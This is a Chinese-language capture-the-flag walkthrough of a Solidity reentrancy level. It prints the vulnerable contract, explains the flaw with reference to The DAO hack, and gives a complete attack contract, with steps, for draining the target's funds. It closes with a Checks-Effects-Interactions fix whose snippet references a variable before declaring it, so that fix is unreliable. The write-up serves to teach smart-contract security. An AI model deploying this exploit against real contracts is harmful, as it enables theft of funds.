// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
玩家必須要把整個合約的錢掏光才能通過此關
Re-entrancy (可重入性),是一個讓使用者能夠惡意提款二次的漏洞,在 2016 年時發生的 The DAO Hack 事件正是因為這個可重入性的漏洞,導致當時被駭客盜走了總量約為總發行量的 14% 的以太幣(在當時),而這個漏洞的發生/攻擊卻是相當的明確,當轉帳操作先於扣款操作執行時,駭客能夠在合約內的接收函數 (fallback/receive) 內再次執行 withdraw,由於智能合約轉帳必須經過 receive ,因此當程式碼先執行 withdraw,接著合約會轉帳進入惡意合約,這時將觸發 receive,而 receive 內則可以再執行一次 withdraw,由於扣款操作尚未執行,於區塊鏈上記載的餘額還是足以執行 withdraw,因此合約能夠再次進行轉帳,成功地進行惡意的二次取款。
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
我們將程式碼聚焦在這個 withdraw 即可,可以看到合約先進行 call 操作以轉帳給 msg.sender,接著才會在合約內扣除對應的款項,這是相當典型的 Re-entrancy 的漏洞。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Re_entrancy {
function withdraw(uint) external;
function donate(address) external payable;
}
contract Attack {
uint amount;
Re_entrancy target = Re_entrancy("Your instance address");
function hack_donate() public payable {
amount = msg.value;
target.donate{value : msg.value}(address(this));
}
function balanceOf() public view returns (uint balance) {
return address(this).balance;
}
function hack_withdraw() public {
target.withdraw(amount);
}
receive() external payable {
target.withdraw(amount);
}
function withdraw_() public {
selfdestruct(msg.sender);
}
}
將合約部署上鏈後,我們先來執行 hack_donate,這樣我們才有足夠的餘額能夠把錢取出,而轉入的量就相當於
await getBalance(await contract.address).then(v => toWei(v))
// 1000000000000000
執行完後可以查看合約的 balance,可以看到我們順利將錢轉入合約了。
await getBalance(await contract.address).then(v => toWei(v))
// 2000000000000000
然後就是攻擊環節啦,請執行 hack_withdraw
接著再來查看攻擊合約的當前的餘額,請執行 balanceOf
好了,做到這邊我們已經順利將目標合約的錢給掏空拉,你還可以執行 withdraw_ 把偷來的錢通通取出 XD。
☜Ҩ.¬_¬.Ҩ☞ ☜Ҩ.¬_¬.Ҩ☞ ☜Ҩ.¬_¬.Ҩ☞ ☜Ҩ.¬_¬.Ҩ☞
其實這關的保護方法也很直觀,稱為 CEI(Checks, Effects, Interactions),判斷、檢查、影響,其實說白了就是把程式碼倒過來放而已 XD,只是這樣子把程式碼顛倒後就能有效防止重入攻擊,僅僅只是這單行的程式碼,就足以影響整份合約的安全性,因此在撰寫時應當格外小心。
if(balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
if(result) {
_amount;
}
(bool result,) = msg.sender.call{value:_amount}("");
}
還有兩種方式稱做可重入互斥鎖,和 Pull 支付,這兩種方法這邊就不多做解釋了,我認為是治標不治本的,我把資料放在 reference 的部分,歡迎有興趣的讀者自己查看囉。